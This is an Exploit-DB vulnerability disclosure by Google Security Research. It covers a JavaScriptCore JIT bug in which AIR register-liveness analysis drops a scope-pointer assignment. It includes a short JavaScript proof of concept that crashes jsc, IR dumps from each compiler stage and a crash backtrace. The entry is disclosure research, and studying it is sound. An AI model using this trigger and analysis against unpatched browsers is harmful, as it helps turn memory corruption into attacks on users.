Exploit-DB #46890
Description: Apple macOS < 10.14.5 / iOS < 12.3 JavaScriptCore - AIR Optimization Incorrectly Removes Assignment to Register
Type: dos
Platform: multiple
Date: 2019-05-21
Author: Google Security Research

Exploit:
While fuzzing JavaScriptCore, I encountered the following JavaScript program which crashes jsc from current HEAD (git commit 3c46422e45fef2de6ff13b66cd45705d63859555) in debug and release builds (./Tools/Scripts/build-jsc --jsc-only [--debug or --release]):

    // Run with --useConcurrentJIT=false --thresholdForJITAfterWarmUp=10 --thresholdForFTLOptimizeAfterWarmUp=1000

    function v0(v1) {
        function v7(v8) {
            function v12(v13, v14) {
                const v16 = v14 - -0x80000000;
                const v19 = [13.37, 13.37, 13.37];
                function v20() {
                    return v16;
                }
                return v19;
            }
            return v8(v12, v1);
        }
        const v27 = v7(v7);
    }
    for (let i = 0; i < 100; i++) {
        v0(i);
    }

It appears that what is happening here is roughly the following:

Initially, the call to v12 is inlined and the IR contains (besides others) the following instructions for the inlined v12:

    1 <- GetScope()
    2 <- CreateActivation(1)
    3 <- GetLocal(v14)
    4 <- JSConstant(-0x80000000)
    5 <- ValueSub(3, 4)
    6 <- NewArrayBuffer(...)

Here, The CreateActivation instruction allocates a LexicalEnvironment object on the heap to store local variables into. The NewArrayBuffer allocates backing memory for the array.
Next, the subtraction is (incorrectly?) speculated to not overflow and is thus replaced by an ArithSub, an instruction performing an integer subtraction and bailing out if an overflow occurs:

    1 <- GetScope()
    2 <- CreateActivation(1)
    3 <- GetLocal(v14)
    4 <- JSConstant(-0x80000000)
    5 <- ArithSub(3, 4)
    6 <- NewArrayBuffer(...)

Next, the object allocation sinking phase runs, which determines that the created activation object doesn't leave the current scope and thus doesn't have to be allocated at all. It then replaces it with a PhancomCreateActivation, a node indicating that at this point a heap allocation used to happen which would have to be restored ("materialized") during a bailout because the interpreter/baseline JIT expects it to be there. As the scope object is required to materialize the Activation, a PutHint is created which indicates that during a bailout, the result of GetScope must be available somehow.

    1 <- GetScope()
    2 <- PhantomCreateActivation()
    7 <- PutHint(2, 1)
    3 <- GetLocal(v14)
    4 <- JSConstant(-0x80000000)
    5 <- ArithSub(3, 4)
    6 <- NewArrayBuffer(...)

The DFG IR code is then lowered to B3, yielding the following:

    Int64 @66 = Const64(16, DFG:@1)
    Int64 @67 = Add(@35, $16(@66), DFG:@1)
    Int64 @68 = Load(@67, ControlDependent|Reads:28, DFG:@1)
    Int32 @69 = Const32([PII_REDACTED], DFG:@5)
    Int32 @70 = CheckSub(@48:WarmAny, $[PII_REDACTED](@69):WarmAny, @35:ColdAny, @48:ColdAny, @68:ColdAny, @41:ColdAny, ...)
    Int64 @74 = Patchpoint(..., DFG:@6)

Here, the first three operations fetch the current scope, the next two instruction perform the checked integer subtraction, and the last instruction performs the array storage allocation. Note that the scope object (@68) is an operand for the subtraction as it is required for the materialization of the activation during a bailout. The B3 code is then (after more optimizations) lowered to AIR:

    Move %tmp2, (stack0), @65
    Move 16(%tmp2), %tmp28, @68
    Move $[PII_REDACTED], %tmp29, $[PII_REDACTED](@69)
    Move %tmp4, %tmp27, @70
    Patch &BranchSub32(3,SameAsRep)4, Overflow, $[PII_REDACTED], %tmp27, %tmp2, %tmp4, %tmp28, %tmp5, @70
    Patch &Patchpoint2, %tmp24, %tmp25, %tmp26, @74

Then, after optimizations on the AIR code and register allocation:

    Move %rax, (stack0), @65
    Move 16(%rax), %rdx, @68
    Patch &BranchSub32(3,SameAsRep)4, Overflow, $[PII_REDACTED], %rcx, %rax, %rcx, %rdx, %rsi, @70
    Patch &Patchpoint2, %rax, %rcx, %rdx, @74

Finally, in the reportUsedRegisters phase (AirReportUsedRegisters.cpp), the following happens

* The register rdx is marked as "lateUse" for the BranchSub32 and as "earlyDef" for the Patchpoint (this might ultimately be the cause of the issue).
    "early" and "late" refer to the time the operand is used/defined, either before the instruction executes or after.
* As such, at the boundary (which is where register liveness is computed) between the last two instructions, rdx is both defined and used.
* Then, when liveness is computed (in AirRegLiveness.cpp) for the boundary between the Move and the BranchSub32, rdx is determined to be dead as it is not used at the boundary and defined at the following boundary:

    // RegLiveness::LocalCalc::execute
    void execute(unsigned instIndex)
    {
        m_workset.exclude(m_actions[instIndex + 1].def);
        m_workset.merge(m_actions[instIndex].use);
    }

As a result, the assignment to rdx (storing the pointer to the scope object), is determined to be a store to a dead register and is thus discarded, leaving the following code:

    Move %rax, (stack0), @65
    Patch &BranchSub32(3,SameAsRep)4, Overflow, $[PII_REDACTED], %rcx, %rax, %rcx, %rdx, %rsi, @70
    Patch &Patchpoint2, %rax, %rcx, %rdx, @74

As such, whatever used to be in rdx will then be treated as a pointer to a scope object during materialization of the activation in the case of a bailout, leading to a crash similar to the following:

    * thread #1, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0xbbadbeef)
      * frame #0: 0x[PII_REDACTED]a88b20 JavaScriptCore`::WTFCrash() at Assertions.cpp:255
        frame #1: 0x[PII_REDACTED]0058fb jsc`WTFCrashWithInfo((null)=521, (null)="../../Source/JavaScriptCore/runtime/JSCJSValueInlines.h", (null)="JSC::JSCell *JSC::JSValue::asCell() const", (null)=1229) at Assertions.h:560
        frame #2: 0x[PII_REDACTED]00bdbb jsc`JSC::JSValue::asCell(this=0x00007ffeefbfcf78) const at JSCJSValueInlines.h:521
        frame #3: 0x[PII_REDACTED]fe5fb